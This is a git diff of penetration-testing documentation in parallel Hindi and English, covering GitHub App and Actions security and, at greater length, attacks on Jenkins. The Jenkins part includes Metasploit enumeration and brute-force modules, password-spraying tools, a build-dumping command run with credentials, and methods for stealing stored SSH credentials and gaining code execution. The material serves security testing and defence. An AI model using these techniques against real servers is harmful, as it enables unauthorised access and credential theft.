Github applications can ask for permissions to **access your github information or impersonate you** to perform specific actions over specific resources. In Github Apps you need to specify the repositories the app will have access to.
|
||||
|
||||
- GitHub App install करने के लिए, आपको **organisation owner होना चाहिए या किसी repository में admin permissions** होने चाहिए।
|
||||
- GitHub App को **एक personal account या एक organisation** से जोड़ना चाहिए।
|
||||
- आप अपना Github application यहाँ बना सकते हैं: [https://github.com/settings/apps](https://github.com/settings/apps)
|
||||
- आप अपने account तक access रखने वाले सभी **Github applications** यहाँ देख सकते हैं: [https://github.com/settings/apps/authorizations](https://github.com/settings/apps/authorizations)
|
||||
- ये हैं **API Endpoints for Github Applications**: [https://docs.github.com/en/rest/overview/endpoints-available-for-github-app](https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps). App की permissions के आधार पर यह कुछ endpoints तक पहुँच सकता है।
|
||||
- आप किसी **organization** में installed apps को _https://github.com/organizations/\<org_name>/settings/installations_ पर देख सकते हैं।
|
||||
- To install a GitHub App, you must be an **organisation owner or have admin permissions** in a repository.
|
||||
- The GitHub App should **connect to a personal account or an organisation**.
|
||||
- You can create your own Github application in [https://github.com/settings/apps](https://github.com/settings/apps)
|
||||
- You can see all the **Github applications that has access to your account** in [https://github.com/settings/apps/authorizations](https://github.com/settings/apps/authorizations)
|
||||
- These are the **API Endpoints for Github Applications** [https://docs.github.com/en/rest/overview/endpoints-available-for-github-app](https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps). Depending on the permissions of the App it will be able to access some of them
|
||||
- You can see installed apps in an **organization** in _https://github.com/organizations/\<org_name>/settings/installations_
|
||||
|
||||
कुछ security recommendations:
|
||||
Some security recommendations:
|
||||
|
||||
- एक GitHub App को **user से स्वतंत्र रूप से actions लेना चाहिए** (जब तक कि app [user-to-server](https://docs.github.com/en/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps#user-to-server-requests) token का उपयोग न कर रहा हो)। user-to-server access tokens को और सुरक्षित रखने के लिए, आप ऐसे access tokens का उपयोग कर सकते हैं जो 8 घंटे के बाद expire हो जाएं, और एक refresh token जो नए access token के लिए exchange किया जा सके। अधिक जानकारी के लिए देखें "[Refreshing user-to-server access tokens](https://docs.github.com/en/apps/building-github-apps/refreshing-user-to-server-access-tokens)."
|
||||
- सुनिश्चित करें कि GitHub App **विशिष्ट repositories** के साथ integrate हो।
|
||||
- GitHub App को **एक personal account या एक organisation** से जोड़ना चाहिए।
|
||||
- GitHub App से यह उम्मीद न रखें कि वह वह सब कुछ जान और कर ले जो एक user कर सकता है।
|
||||
- **Don't use a GitHub App if you just need a "Login with GitHub" service**. लेकिन एक GitHub App [user identification flow](https://docs.github.com/en/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps) का उपयोग करके users को login करवा सकता है _और_ अन्य चीजें भी कर सकता है।
|
||||
- यदि आप अपने app को GitHub Actions के साथ उपयोग कर रहे हैं और workflow files modify करना चाहते हैं, तो आपको user की ओर से authenticate करने के लिए OAuth token चाहिए जिसमें `workflow` scope शामिल हो। user को उस repository में admin या write permission होना चाहिए जिसमें workflow file है। अधिक जानकारी के लिए देखें "[Understanding scopes for OAuth apps](https://docs.github.com/en/apps/building-oauth-apps/understanding-scopes-for-oauth-apps/#available-scopes)."
|
||||
- **More** जानकारी के लिए [here](https://docs.github.com/en/developers/apps/getting-started-with-apps/about-apps#about-github-apps) देखें।
|
||||
- A GitHub App should **take actions independent of a user** (unless the app is using a [user-to-server](https://docs.github.com/en/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps#user-to-server-requests) token). To keep user-to-server access tokens more secure, you can use access tokens that will expire after 8 hours, and a refresh token that can be exchanged for a new access token. For more information, see "[Refreshing user-to-server access tokens](https://docs.github.com/en/apps/building-github-apps/refreshing-user-to-server-access-tokens)."
|
||||
- Make sure the GitHub App integrates with **specific repositories**.
|
||||
- The GitHub App should **connect to a personal account or an organisation**.
|
||||
- Don't expect the GitHub App to know and do everything a user can.
|
||||
- **Don't use a GitHub App if you just need a "Login with GitHub" service**. But a GitHub App can use a [user identification flow](https://docs.github.com/en/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps) to log users in _and_ do other things.
|
||||
- Don't build a GitHub App if you _only_ want to act as a GitHub user and do everything that user can do.
|
||||
- If you are using your app with GitHub Actions and want to modify workflow files, you must authenticate on behalf of the user with an OAuth token that includes the `workflow` scope. The user must have admin or write permission to the repository that contains the workflow file. For more information, see "[Understanding scopes for OAuth apps](https://docs.github.com/en/apps/building-oauth-apps/understanding-scopes-for-oauth-apps/#available-scopes)."
|
||||
- **More** in [here](https://docs.github.com/en/developers/apps/getting-started-with-apps/about-apps#about-github-apps).
|
||||
|
||||
### Github Actions
|
||||
|
||||
यह **github में authenticate करने का तरीका नहीं है**, लेकिन एक **malicious** Github Action को github तक **unauthorised access** मिल सकता है और Action को दी गई **privileges** के आधार पर कई **different attacks** किए जा सकते हैं। नीचे अधिक जानकारी दी गई है।
|
||||
This **isn't a way to authenticate in github**, but a **malicious** Github Action could get **unauthorised access to github** and **depending** on the **privileges** given to the Action several **different attacks** could be done. See below for more information.
|
||||
|
||||
## Git Actions
|
||||
|
||||
Git actions यह अनुमति देता है कि जब कोई event हो तो **कोड के execution को automate किया जाए**। आम तौर पर execute किया जाने वाला कोड **रिपॉजिटरी के कोड से संबंधित** होता है (जैसे docker container बनाना या यह जांचना कि PR में secrets तो नहीं हैं)।
|
||||
Git actions allows to automate the **execution of code when an event happen**. Usually the code executed is **somehow related to the code of the repository** (maybe build a docker container or check that the PR doesn't contain secrets).
|
||||
|
||||
### Configuration
|
||||
|
||||
_in_ https://github.com/organizations/\<org_name>/settings/actions_ में आप organization के लिए **github actions की configuration** देख सकते हैं।
|
||||
In _https://github.com/organizations/\<org_name>/settings/actions_ it's possible to check the **configuration of the github actions** for the organization.
|
||||
|
||||
आप github actions का उपयोग पूरी तरह से disallow कर सकते हैं, **सभी github actions की अनुमति दे सकते हैं**, या केवल कुछ select actions की अनुमति दे सकते हैं।
|
||||
It's possible to disallow the use of github actions completely, **allow all github actions**, or just allow certain actions.
|
||||
|
||||
यहाँ यह भी configure करना संभव है कि **किसे Github Action चलाने के लिए approval चाहिए** और Github Action के run होने पर उस Action के **GITHUB_TOKEN की permissions** क्या होंगी।
|
||||
It's also possible to configure **who needs approval to run a Github Action** and the **permissions of the GITHUB_TOKEN** of a Github Action when it's run.
|
||||
|
||||
### Git Secrets
|
||||
|
||||
Github Action अक्सर github या third party applications के साथ interact करने के लिए किसी प्रकार के secrets की आवश्यकता होती है। इन्हें repo में clear-text में रखने से बचाने के लिए, github इन्हें **Secrets** के रूप में रखने की अनुमति देता है।
|
||||
Github Action usually need some kind of secrets to interact with github or third party applications. To **avoid putting them in clear-text** in the repo, github allow to put them as **Secrets**.
|
||||
|
||||
These secrets can be configured **for the repo or for all the organization**. Then, in order for the **Action to be able to access the secret** you need to declare it like:
|
||||
|
||||
ये secrets **repo के लिए या पूरी organization के लिए** configure किए जा सकते हैं। फिर, ताकि **Action secret तक access कर सके**, आपको इसे इस प्रकार declare करना होगा:
|
||||
```yaml
|
||||
steps:
|
||||
- name: Hello world action
|
||||
with: # Set the secret as an input
|
||||
super_secret:${{ secrets.SuperSecret }}
|
||||
env: # Or as an environment variable
|
||||
super_secret:${{ secrets.SuperSecret }}
|
||||
- name: Hello world action
|
||||
with: # Set the secret as an input
|
||||
super_secret:${{ secrets.SuperSecret }}
|
||||
env: # Or as an environment variable
|
||||
super_secret:${{ secrets.SuperSecret }}
|
||||
```
|
||||
#### Bash का उपयोग करते हुए उदाहरण <a href="#example-using-bash" id="example-using-bash"></a>
|
||||
|
||||
#### Example using Bash <a href="#example-using-bash" id="example-using-bash"></a>
|
||||
|
||||
```yaml
|
||||
steps:
|
||||
- shell: bash
|
||||
env: SUPER_SECRET:${{ secrets.SuperSecret }}
|
||||
run: |
|
||||
example-command "$SUPER_SECRET"
|
||||
- shell: bash
|
||||
env: SUPER_SECRET:${{ secrets.SuperSecret }}
|
||||
run: |
|
||||
example-command "$SUPER_SECRET"
|
||||
```
|
||||
|
||||
> [!WARNING]
|
||||
> Secrets **केवल उन Github Actions से ही एक्सेस किए जा सकते हैं** जिनमें वे declare किए गए हों।
|
||||
> Secrets **can only be accessed from the Github Actions** that have them declared.
|
||||
|
||||
> एक बार repo या organizations में configure होने के बाद **users of github फिर उन्हें access नहीं कर पाएँगे**, वे केवल उन्हें **change** कर सकेंगे।
|
||||
> Once configured in the repo or the organizations **users of github won't be able to access them again**, they just will be able to **change them**.
|
||||
|
||||
इसलिए, **github secrets चोरी करने का एकमात्र तरीका यह है कि आप उस मशीन तक पहुँच सकें जो Github Action चला रही है** (ऐसी स्थिति में आप केवल उन secrets तक ही पहुँच पाएँगे जो उस Action के लिए declare किए गए हैं)।
|
||||
Therefore, the **only way to steal github secrets is to be able to access the machine that is executing the Github Action** (in that scenario you will be able to access only the secrets declared for the Action).
|
||||
|
||||
### Git Environments
|
||||
|
||||
Github आपको ऐसे **environments** बनाने की अनुमति देता है जहाँ आप **secrets** सेव कर सकते हैं। फिर, आप github action को उस environment के अंदर के secrets तक access देने के लिए कुछ ऐसा दे सकते हैं:
|
||||
Github allows to create **environments** where you can save **secrets**. Then, you can give the github action access to the secrets inside the environment with something like:
|
||||
|
||||
```yaml
|
||||
jobs:
|
||||
deployment:
|
||||
runs-on: ubuntu-latest
|
||||
environment: env_name
|
||||
deployment:
|
||||
runs-on: ubuntu-latest
|
||||
environment: env_name
|
||||
```
|
||||
|
||||
You can configure an environment to be **accessed** by **all branches** (default), **only protected** branches or **specify** which branches can access it.\
|
||||
Additionally, environment protections include:
|
||||
- **Required reviewers**: gate jobs targeting the environment until approved. Enable **Prevent self-review** to enforce a proper four‑eyes principle on the approval itself.
|
||||
@@ -226,12 +233,12 @@ The **branch protections of a repository** can be found in _https://github.com/\
|
||||
Different protections can be applied to a branch (like to master):
|
||||
|
||||
- You can **require a PR before merging** (so you cannot directly merge code over the branch). If this is select different other protections can be in place:
|
||||
- **Require a number of approvals**. It's very common to require 1 or 2 more people to approve your PR so a single user isn't capable of merge code directly.
|
||||
- **Dismiss approvals when new commits are pushed**. If not, a user may approve legit code and then the user could add malicious code and merge it.
|
||||
- **Require approval of the most recent reviewable push**. Ensures that any new commits after an approval (including pushes by other collaborators) re-trigger review so an attacker cannot push post-approval changes and merge.
|
||||
- **Require reviews from Code Owners**. At least 1 code owner of the repo needs to approve the PR (so "random" users cannot approve it)
|
||||
- **Restrict who can dismiss pull request reviews.** You can specify people or teams allowed to dismiss pull request reviews.
|
||||
- **Allow specified actors to bypass pull request requirements**. These users will be able to bypass previous restrictions.
|
||||
- **Require a number of approvals**. It's very common to require 1 or 2 more people to approve your PR so a single user isn't capable of merge code directly.
|
||||
- **Dismiss approvals when new commits are pushed**. If not, a user may approve legit code and then the user could add malicious code and merge it.
|
||||
- **Require approval of the most recent reviewable push**. Ensures that any new commits after an approval (including pushes by other collaborators) re-trigger review so an attacker cannot push post-approval changes and merge.
|
||||
- **Require reviews from Code Owners**. At least 1 code owner of the repo needs to approve the PR (so "random" users cannot approve it)
|
||||
- **Restrict who can dismiss pull request reviews.** You can specify people or teams allowed to dismiss pull request reviews.
|
||||
- **Allow specified actors to bypass pull request requirements**. These users will be able to bypass previous restrictions.
|
||||
- **Require status checks to pass before merging.** Some checks need to pass before being able to merge the commit (like a GitHub App reporting SAST results). Tip: bind required checks to a specific GitHub App; otherwise any app could spoof the check via the Checks API, and many bots accept skip directives (e.g., "@bot-name skip").
|
||||
- **Require conversation resolution before merging**. All comments on the code needs to be resolved before the PR can be merged.
|
||||
- **Require signed commits**. The commits need to be signed.
|
||||
@@ -266,3 +273,5 @@ This chain prevents a single collaborator from retagging or force-publishing rel
|
||||
- [GitHub Actions: A Cloudy Day for Security - Part 1](https://binarysecurity.no/posts/2025/08/securing-gh-actions-part1)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
@@ -1,292 +1,312 @@
|
||||
# Jenkins सुरक्षा
|
||||
# Jenkins Security
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## बुनियादी जानकारी
|
||||
## Basic Information
|
||||
|
||||
Jenkins एक उपकरण है जो **निरंतर एकीकरण** या **निरंतर वितरण** (CI/CD) वातावरण स्थापित करने के लिए एक सीधा तरीका प्रदान करता है, लगभग **किसी भी** संयोजन के लिए **प्रोग्रामिंग भाषाओं** और स्रोत कोड रिपॉजिटरी का उपयोग करते हुए पाइपलाइनों के माध्यम से। इसके अलावा, यह विभिन्न नियमित विकास कार्यों को स्वचालित करता है। जबकि Jenkins **व्यक्तिगत चरणों के लिए स्क्रिप्ट बनाने की आवश्यकता** को समाप्त नहीं करता है, यह निर्माण, परीक्षण और तैनाती उपकरणों के पूरे अनुक्रम को एकीकृत करने का एक तेज़ और अधिक मजबूत तरीका प्रदान करता है, जो कि मैन्युअल रूप से आसानी से बनाया जा सकता है।
|
||||
Jenkins is a tool that offers a straightforward method for establishing a **continuous integration** or **continuous delivery** (CI/CD) environment for almost **any** combination of **programming languages** and source code repositories using pipelines. Furthermore, it automates various routine development tasks. While Jenkins doesn't eliminate the **need to create scripts for individual steps**, it does provide a faster and more robust way to integrate the entire sequence of build, test, and deployment tools than one can easily construct manually.
|
||||
|
||||
{{#ref}}
|
||||
basic-jenkins-information.md
|
||||
{{#endref}}
|
||||
|
||||
## बिना प्रमाणीकरण के सूचीकरण
|
||||
## Unauthenticated Enumeration
|
||||
|
||||
In order to search for interesting Jenkins pages without authentication like (_/people_ or _/asynchPeople_, this lists the current users) you can use:
|
||||
|
||||
दिलचस्प Jenkins पृष्ठों की खोज करने के लिए बिना प्रमाणीकरण के जैसे (_/people_ या _/asynchPeople_, यह वर्तमान उपयोगकर्ताओं की सूची बनाता है) आप उपयोग कर सकते हैं:
|
||||
```
|
||||
msf> use auxiliary/scanner/http/jenkins_enum
|
||||
```
|
||||
जांचें कि क्या आप प्रमाणीकरण की आवश्यकता के बिना कमांड निष्पादित कर सकते हैं:
|
||||
|
||||
Check if you can execute commands without needing authentication:
|
||||
|
||||
```
|
||||
msf> use auxiliary/scanner/http/jenkins_command
|
||||
```
|
||||
बिना क्रेडेंशियल्स के आप _**/asynchPeople/**_ पथ या _**/securityRealm/user/admin/search/index?q=**_ में **यूजरनेम** देख सकते हैं।
|
||||
|
||||
आप _**/oops**_ या _**/error**_ पथ से Jenkins संस्करण प्राप्त कर सकते हैं।
|
||||
Without credentials you can look inside _**/asynchPeople/**_ path or _**/securityRealm/user/admin/search/index?q=**_ for **usernames**.
|
||||
|
||||
You may be able to get the Jenkins version from the path _**/oops**_ or _**/error**_
|
||||
|
||||
.png>)
|
||||
|
||||
### ज्ञात कमजोरियाँ
|
||||
### Known Vulnerabilities
|
||||
|
||||
{{#ref}}
|
||||
https://github.com/gquere/pwn_jenkins
|
||||
{{#endref}}
|
||||
|
||||
## लॉगिन
|
||||
## Login
|
||||
|
||||
बुनियादी जानकारी में आप **Jenkins के अंदर लॉगिन करने के सभी तरीके** देख सकते हैं:
|
||||
In the basic information you can check **all the ways to login inside Jenkins**:
|
||||
|
||||
{{#ref}}
|
||||
basic-jenkins-information.md
|
||||
{{#endref}}
|
||||
|
||||
### पंजीकरण
|
||||
### Register
|
||||
|
||||
आप Jenkins उदाहरणों को खोजने में सक्षम होंगे जो **आपको एक खाता बनाने और इसके अंदर लॉगिन करने की अनुमति देते हैं। बस इतना आसान।**
|
||||
You will be able to find Jenkins instances that **allow you to create an account and login inside of it. As simple as that.**
|
||||
|
||||
### **SSO लॉगिन**
|
||||
### **SSO Login**
|
||||
|
||||
यदि **SSO** **कार्यात्मकता**/**प्लगइन्स** मौजूद थे तो आपको एक परीक्षण खाते (यानी, एक परीक्षण **Github/Bitbucket खाता**) का उपयोग करके एप्लिकेशन में **लॉग-इन** करने का प्रयास करना चाहिए। [**यहां**](https://emtunc.org/blog/01/2018/research-misconfigured-jenkins-servers/) से ट्रिक करें।
|
||||
Also if **SSO** **functionality**/**plugins** were present then you should attempt to **log-in** to the application using a test account (i.e., a test **Github/Bitbucket account**). Trick from [**here**](https://emtunc.org/blog/01/2018/research-misconfigured-jenkins-servers/).
|
||||
|
||||
### ब्रूटफोर्स
|
||||
### Bruteforce
|
||||
|
||||
**Jenkins** lacks **password policy** and **username brute-force mitigation**. It's essential to **brute-force** users since **weak passwords** or **usernames as passwords** may be in use, even **reversed usernames as passwords**.
|
||||
|
||||
**Jenkins** में **पासवर्ड नीति** और **यूजरनेम ब्रूट-फोर्स शमन** की कमी है। यह **ब्रूट-फोर्स** उपयोगकर्ताओं के लिए आवश्यक है क्योंकि **कमजोर पासवर्ड** या **पासवर्ड के रूप में यूजरनेम** का उपयोग हो सकता है, यहां तक कि **पासवर्ड के रूप में उल्टे यूजरनेम** भी हो सकते हैं।
|
||||
```
|
||||
msf> use auxiliary/scanner/http/jenkins_login
|
||||
```
|
||||
### पासवर्ड स्प्रेइंग
|
||||
|
||||
### Password spraying
|
||||
|
||||
Use [this python script](https://github.com/gquere/pwn_jenkins/blob/master/password_spraying/jenkins_password_spraying.py) or [this powershell script](https://github.com/chryzsh/JenkinsPasswordSpray).
|
||||
|
||||
### IP व्हाइटलिस्टिंग बायपास
|
||||
### IP Whitelisting Bypass
|
||||
|
||||
कई संगठन **SaaS-आधारित स्रोत नियंत्रण प्रबंधन (SCM) सिस्टम** जैसे GitHub या GitLab को **आंतरिक, स्वयं-होस्टेड CI** समाधान जैसे Jenkins या TeamCity के साथ मिलाते हैं। यह सेटअप CI सिस्टम को **SaaS स्रोत नियंत्रण विक्रेताओं** से **वेबहुक घटनाओं** को **प्राप्त** करने की अनुमति देता है, मुख्य रूप से पाइपलाइन नौकरियों को ट्रिगर करने के लिए।
|
||||
Many organizations combine **SaaS-based source control management (SCM) systems** such as GitHub or GitLab with an **internal, self-hosted CI** solution like Jenkins or TeamCity. This setup allows CI systems to **receive webhook events from SaaS source control vendors**, primarily for triggering pipeline jobs.
|
||||
|
||||
इसको प्राप्त करने के लिए, संगठन **SCM प्लेटफार्मों** के **IP रेंज** को **व्हाइटलिस्ट** करते हैं, जिससे उन्हें **वेबहुक** के माध्यम से **आंतरिक CI सिस्टम** तक पहुंचने की अनुमति मिलती है। हालाँकि, यह ध्यान रखना महत्वपूर्ण है कि **कोई भी** GitHub या GitLab पर **खाता** बना सकता है और इसे **वेबहुक** को **ट्रिगर** करने के लिए कॉन्फ़िगर कर सकता है, संभावित रूप से **आंतरिक CI सिस्टम** को अनुरोध भेज सकता है।
|
||||
To achieve this, organizations **whitelist** the **IP ranges** of the **SCM platforms**, permitting them to access the **internal CI system** via **webhooks**. However, it's important to note that **anyone** can create an **account** on GitHub or GitLab and configure it to **trigger a webhook**, potentially sending requests to the **internal CI system**.
|
||||
|
||||
Check: [https://www.paloaltonetworks.com/blog/prisma-cloud/repository-webhook-abuse-access-ci-cd-systems-at-scale/](https://www.paloaltonetworks.com/blog/prisma-cloud/repository-webhook-abuse-access-ci-cd-systems-at-scale/)
|
||||
|
||||
## आंतरिक Jenkins दुरुपयोग
|
||||
## Internal Jenkins Abuses
|
||||
|
||||
इन परिदृश्यों में हम मान लेंगे कि आपके पास Jenkins तक पहुंचने के लिए एक वैध खाता है।
|
||||
In these scenarios we are going to suppose you have a valid account to access Jenkins.
|
||||
|
||||
> [!WARNING]
|
||||
> Jenkins में कॉन्फ़िगर किए गए **Authorization** तंत्र और समझौता किए गए उपयोगकर्ता की अनुमति के आधार पर, आप **निम्नलिखित हमलों को करने में सक्षम हो सकते हैं या नहीं।**
|
||||
> Depending on the **Authorization** mechanism configured in Jenkins and the permission of the compromised user you **might be able or not to perform the following attacks.**
|
||||
|
||||
अधिक जानकारी के लिए बुनियादी जानकारी देखें:
|
||||
For more information check the basic information:
|
||||
|
||||
{{#ref}}
|
||||
basic-jenkins-information.md
|
||||
{{#endref}}
|
||||
|
||||
### उपयोगकर्ताओं की सूची बनाना
|
||||
### Listing users
|
||||
|
||||
यदि आपने Jenkins तक पहुंच प्राप्त कर ली है, तो आप [http://127.0.0.1:8080/asynchPeople/](http://127.0.0.1:8080/asynchPeople/) में अन्य पंजीकृत उपयोगकर्ताओं की सूची बना सकते हैं।
|
||||
If you have accessed Jenkins you can list other registered users in [http://127.0.0.1:8080/asynchPeople/](http://127.0.0.1:8080/asynchPeople/)
|
||||
|
||||
### स्पष्ट पाठ रहस्यों को खोजने के लिए निर्माणों को डंप करना
|
||||
### Dumping builds to find cleartext secrets
|
||||
|
||||
Use [this script](https://github.com/gquere/pwn_jenkins/blob/master/dump_builds/jenkins_dump_builds.py) to dump build console outputs and build environment variables to hopefully find cleartext secrets.
|
||||
|
||||
```bash
|
||||
python3 jenkins_dump_builds.py -u alice -p alice http://127.0.0.1:8080/ -o build_dumps
|
||||
cd build_dumps
|
||||
gitleaks detect --no-git -v
|
||||
```
|
||||
### **SSH क्रेडेंशियल चुराना**
|
||||
|
||||
यदि समझौता किया गया उपयोगकर्ता **एक नया Jenkins नोड बनाने/संशोधित करने के लिए पर्याप्त विशेषाधिकार रखता है** और SSH क्रेडेंशियल पहले से अन्य नोड्स तक पहुँचने के लिए संग्रहीत हैं, तो वह **उन क्रेडेंशियल्स को चुरा सकता है** एक नोड बनाकर/संशोधित करके और **एक होस्ट सेट करके जो क्रेडेंशियल्स को रिकॉर्ड करेगा** बिना होस्ट कुंजी की पुष्टि किए:
|
||||
### **Stealing SSH Credentials**
|
||||
|
||||
If the compromised user has **enough privileges to create/modify a new Jenkins node** and SSH credentials are already stored to access other nodes, he could **steal those credentials** by creating/modifying a node and **setting a host that will record the credentials** without verifying the host key:
|
||||
|
||||
.png>)
|
||||
|
||||
आप आमतौर पर Jenkins ssh क्रेडेंशियल्स को **वैश्विक प्रदाता** (`/credentials/`) में पाएंगे, इसलिए आप उन्हें किसी अन्य रहस्य की तरह डंप भी कर सकते हैं। अधिक जानकारी के लिए [**रहस्यों को डंप करने के अनुभाग**](./#dumping-secrets) में देखें।
|
||||
You will usually find Jenkins ssh credentials in a **global provider** (`/credentials/`), so you can also dump them as you would dump any other secret. More information in the [**Dumping secrets section**](#dumping-secrets).
|
||||
|
||||
### **Jenkins में RCE**
|
||||
### **RCE in Jenkins**
|
||||
|
||||
Jenkins सर्वर में **शेल प्राप्त करना** हमलावर को सभी **रहस्यों** और **env वेरिएबल्स** को लीक करने और **एक ही नेटवर्क में स्थित अन्य मशीनों का शोषण करने** का अवसर देता है या यहां तक कि **क्लाउड क्रेडेंशियल्स** इकट्ठा करने का भी।
|
||||
Getting a **shell in the Jenkins server** gives the attacker the opportunity to leak all the **secrets** and **env variables** and to **exploit other machines** located in the same network or even **gather cloud credentials**.
|
||||
|
||||
डिफ़ॉल्ट रूप से, Jenkins **SYSTEM के रूप में चलेगा**। इसलिए, इसे समझौता करने से हमलावर को **SYSTEM विशेषाधिकार** मिलेंगे।
|
||||
By default, Jenkins will **run as SYSTEM**. So, compromising it will give the attacker **SYSTEM privileges**.
|
||||
|
||||
### **प्रोजेक्ट बनाना/संशोधित करना RCE**
|
||||
### **RCE Creating/Modifying a project**
|
||||
|
||||
प्रोजेक्ट बनाना/संशोधित करना Jenkins सर्वर पर RCE प्राप्त करने का एक तरीका है:
|
||||
Creating/Modifying a project is a way to obtain RCE over the Jenkins server:
|
||||
|
||||
{{#ref}}
|
||||
jenkins-rce-creating-modifying-project.md
|
||||
{{#endref}}
|
||||
|
||||
### **Groovy स्क्रिप्ट निष्पादित करना RCE**
|
||||
### **RCE Execute Groovy script**
|
||||
|
||||
आप एक Groovy स्क्रिप्ट निष्पादित करके भी RCE प्राप्त कर सकते हैं, जो एक नया प्रोजेक्ट बनाने की तुलना में अधिक छिपा हुआ हो सकता है:
|
||||
You can also obtain RCE executing a Groovy script, which might my stealthier than creating a new project:
|
||||
|
||||
{{#ref}}
|
||||
jenkins-rce-with-groovy-script.md
|
||||
{{#endref}}
|
||||
|
||||
### पाइपलाइन बनाना/संशोधित करना RCE
|
||||
### RCE Creating/Modifying Pipeline
|
||||
|
||||
आप **पाइपलाइन बनाकर/संशोधित करके RCE प्राप्त कर सकते हैं**:
|
||||
You can also get **RCE by creating/modifying a pipeline**:
|
||||
|
||||
{{#ref}}
|
||||
jenkins-rce-creating-modifying-pipeline.md
|
||||
{{#endref}}
|
||||
|
||||
## पाइपलाइन शोषण
|
||||
## Pipeline Exploitation
|
||||
|
||||
पाइपलाइनों का शोषण करने के लिए आपको अभी भी Jenkins तक पहुँच प्राप्त करनी होगी।
|
||||
To exploit pipelines you still need to have access to Jenkins.
|
||||
|
||||
### बिल्ड पाइपलाइन्स
|
||||
### Build Pipelines
|
||||
|
||||
**पाइपलाइन्स** को **प्रोजेक्ट्स में बिल्ड तंत्र के रूप में** भी उपयोग किया जा सकता है, इस मामले में इसे एक **फाइल के रूप में कॉन्फ़िगर किया जा सकता है जो पाइपलाइन सिंटैक्स को शामिल करेगा**। डिफ़ॉल्ट रूप से `/Jenkinsfile` का उपयोग किया जाता है:
|
||||
**Pipelines** can also be used as **build mechanism in projects**, in that case it can be configured a **file inside the repository** that will contains the pipeline syntax. By default `/Jenkinsfile` is used:
|
||||
|
||||
.png>)
|
||||
|
||||
यह भी संभव है कि **पाइपलाइन कॉन्फ़िगरेशन फ़ाइलों को अन्य स्थानों पर संग्रहीत किया जाए** (उदाहरण के लिए अन्य रिपॉजिटरी में) ताकि **रिपॉजिटरी** **पहुँच** और पाइपलाइन पहुँच को **अलग** किया जा सके।
|
||||
It's also possible to **store pipeline configuration files in other places** (in other repositories for example) with the goal of **separating** the repository **access** and the pipeline access.
|
||||
|
||||
यदि एक हमलावर के पास **उस फ़ाइल पर लिखने का अधिकार है** तो वह इसे **संशोधित** कर सकेगा और **संभावित रूप से पाइपलाइन को ट्रिगर** कर सकेगा बिना Jenkins तक पहुँच प्राप्त किए।\
|
||||
संभव है कि हमलावर को **कुछ शाखा सुरक्षा को बायपास करना पड़े** (प्लेटफ़ॉर्म और उपयोगकर्ता विशेषाधिकार के आधार पर, उन्हें बायपास किया जा सकता है या नहीं)।
|
||||
If an attacker have **write access over that file** he will be able to **modify** it and **potentially trigger** the pipeline without even having access to Jenkins.\
|
||||
It's possible that the attacker will need to **bypass some branch protections** (depending on the platform and the user privileges they could be bypassed or not).
|
||||
|
||||
कस्टम पाइपलाइन को निष्पादित करने के लिए सबसे सामान्य ट्रिगर्स हैं:
|
||||
The most common triggers to execute a custom pipeline are:
|
||||
|
||||
- **मुख्य शाखा** पर **पुल अनुरोध** (या संभावित रूप से अन्य शाखाओं पर)
|
||||
- **मुख्य शाखा** पर **पुश** (या संभावित रूप से अन्य शाखाओं पर)
|
||||
- **मुख्य शाखा को अपडेट करें** और तब तक प्रतीक्षा करें जब तक कि इसे किसी तरह निष्पादित नहीं किया जाता
|
||||
- **Pull request** to the main branch (or potentially to other branches)
|
||||
- **Push to the main branch** (or potentially to other branches)
|
||||
- **Update the main branch** and wait until it's executed somehow
|
||||
|
||||
> [!NOTE]
|
||||
> यदि आप एक **बाहरी उपयोगकर्ता** हैं तो आपको **अन्य उपयोगकर्ता/संस्थान** के रिपॉजिटरी की **मुख्य शाखा** पर **PR बनाने** और **पाइपलाइन को ट्रिगर करने** की उम्मीद नहीं करनी चाहिए... लेकिन यदि यह **खराब कॉन्फ़िगर किया गया है** तो आप केवल **इसका शोषण करके कंपनियों को पूरी तरह से समझौता कर सकते हैं**।
|
||||
> If you are an **external user** you shouldn't expect to create a **PR to the main branch** of the repo of **other user/organization** and **trigger the pipeline**... but if it's **bad configured** you could fully **compromise companies just by exploiting this**.
|
||||
|
||||
### पाइपलाइन RCE
|
||||
### Pipeline RCE
|
||||
|
||||
पिछले RCE अनुभाग में पहले से ही एक तकनीक का संकेत दिया गया था [**पाइपलाइन को संशोधित करके RCE प्राप्त करने के लिए**](./#rce-creating-modifying-pipeline)।
|
||||
In the previous RCE section it was already indicated a technique to [**get RCE modifying a pipeline**](#rce-creating-modifying-pipeline).
|
||||
|
||||
### Env वेरिएबल्स की जांच करना
|
||||
### Checking Env variables
|
||||
|
||||
It's possible to declare **clear text env variables** for the whole pipeline or for specific stages. This env variables **shouldn't contain sensitive info**, but and attacker could always **check all the pipeline** configurations/Jenkinsfiles:
|
||||
|
||||
यह संभव है कि **पूरी पाइपलाइन** या विशिष्ट चरणों के लिए **स्पष्ट पाठ env वेरिएबल्स** घोषित किए जाएं। ये env वेरिएबल्स **संवेदनशील जानकारी** नहीं होनी चाहिए, लेकिन एक हमलावर हमेशा **सभी पाइपलाइन** कॉन्फ़िगरेशन/Jenkinsfiles की **जांच कर सकता है**:
|
||||
```bash
|
||||
pipeline {
|
||||
agent {label 'built-in'}
|
||||
environment {
|
||||
GENERIC_ENV_VAR = "Test pipeline ENV variables."
|
||||
}
|
||||
agent {label 'built-in'}
|
||||
environment {
|
||||
GENERIC_ENV_VAR = "Test pipeline ENV variables."
|
||||
}
|
||||
|
||||
stages {
|
||||
stage("Build") {
|
||||
environment {
|
||||
STAGE_ENV_VAR = "Test stage ENV variables."
|
||||
}
|
||||
steps {
|
||||
stages {
|
||||
stage("Build") {
|
||||
environment {
|
||||
STAGE_ENV_VAR = "Test stage ENV variables."
|
||||
}
|
||||
steps {
|
||||
```
|
||||
### रहस्यों को डंप करना
|
||||
|
||||
Jenkins द्वारा रहस्यों के साथ सामान्यतः कैसे व्यवहार किया जाता है, इसके बारे में जानकारी के लिए बुनियादी जानकारी देखें:
|
||||
### Dumping secrets
|
||||
|
||||
For information about how are secrets usually treated by Jenkins check out the basic information:
|
||||
|
||||
{{#ref}}
|
||||
basic-jenkins-information.md
|
||||
